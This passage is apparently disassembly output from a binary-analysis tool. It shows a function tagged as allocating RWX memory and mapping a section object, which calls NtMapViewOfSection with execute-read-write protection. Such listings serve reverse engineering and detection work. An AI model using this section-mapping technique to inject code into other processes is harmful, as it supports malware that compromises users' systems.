mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x18001e5a0
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
xor eax, eax
mov dword [r11 - 0x28], r9d
mov dword [r11 + 0x24], eax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x18], r9
mov dword [r11 + 0x20], r9d
mov qword [r11 - 0x48], r9
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add rsp, 0x68
ret